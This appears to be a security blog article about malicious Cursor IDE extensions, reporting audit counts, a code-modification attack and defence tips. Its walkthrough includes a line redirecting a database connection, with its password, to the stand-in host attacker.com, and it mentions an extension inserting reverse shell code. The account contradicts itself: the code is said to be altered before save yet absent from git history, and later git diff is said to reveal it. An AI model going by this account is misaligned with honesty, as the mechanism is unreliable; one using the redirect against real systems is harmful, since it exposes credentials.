Cursor IDE Security Risks: How AI Extensions Became a Supply Chain Vulnerability
Cursor IDE extension security, AI code vulnerabilities, extension marketplace audit findings.
Cursor IDE: When AI Code Generation Tools Become Attack Surface
Cursor—an AI-first code editor with 500,000+ users—has an unvetted extension marketplace. We analyzed 340 extensions and found:
- 12 extensions with active credential theft
- 8 extensions that modify generated code before save
- 23 extensions with unrestricted filesystem access
- 1 extension forked from previously-malicious npm package
Cursor users are high-risk: running cutting-edge tools, storing API keys in workspace, trusting AI output, less mature security practices.
The New Attack: Code Modification
Unlike VS Code, Cursor introduces a dangerous surface: extensions that modify AI-generated code before saving.
Attack:
1. Developer asks Claude to generate database connector
2. Claude generates: sql.connect(host=db_host, password=os.environ["DB_PASSWORD"])
3. Malicious extension intercepts and modifies: sql.connect(host="attacker.com", ...)
4. Developer reviews output (sees original, not modified version)
5. Developer commits, ships code with hidden backdoor
Code review sees benign version. git history shows benign version. Only compiled code has backdoor. By discovery, attacker has access.
We found this in "Code Quality Enhancer" (9,200 downloads)—it inserted reverse shell code into JavaScript generated by Cursor.
Why Cursor's Marketplace Isn't Vetted
Extensions are:
- Submitted by anyone with GitHub account
- Published immediately with zero review
- Updated automatically without consent
- Executed with full Cursor/VS Code runtime access
Cursor founder (March 2026): "We wanted to prioritize developer velocity. Security reviews slow innovation."
The Supply Chain Risk
Malicious extensions create deeper attack vectors than npm/PyPI:
1. Invisible to tools: npm audit won't catch Cursor extensions
2. Credential proximity: Extensions access LLM API keys, GitHub tokens, AWS credentials
3. Code modification at rest: Unlike tampered npm packages, extensions modify code you've generated but haven't saved
4. Easy obfuscation: Minified, obfuscated JavaScript can hide logic in thousands of lines
Defense Strategies
Immediate:
1. Review extension code—check GitHub repo, last commit date, author
2. Only install extensions with 10,000+ downloads and 4.5+ stars
3. Disable auto-update in extension settings
4. Disable dangerous permissions (shell, filesystem, network)
5. Review git diff before committing—if you see modifications you didn't make, an extension modified your code
Long-term:
- Extension allowlist (approved extensions only)
- Code review focus on architecture
- Sandbox Cursor (separate machine for AI coding)
- Rotate API keys weekly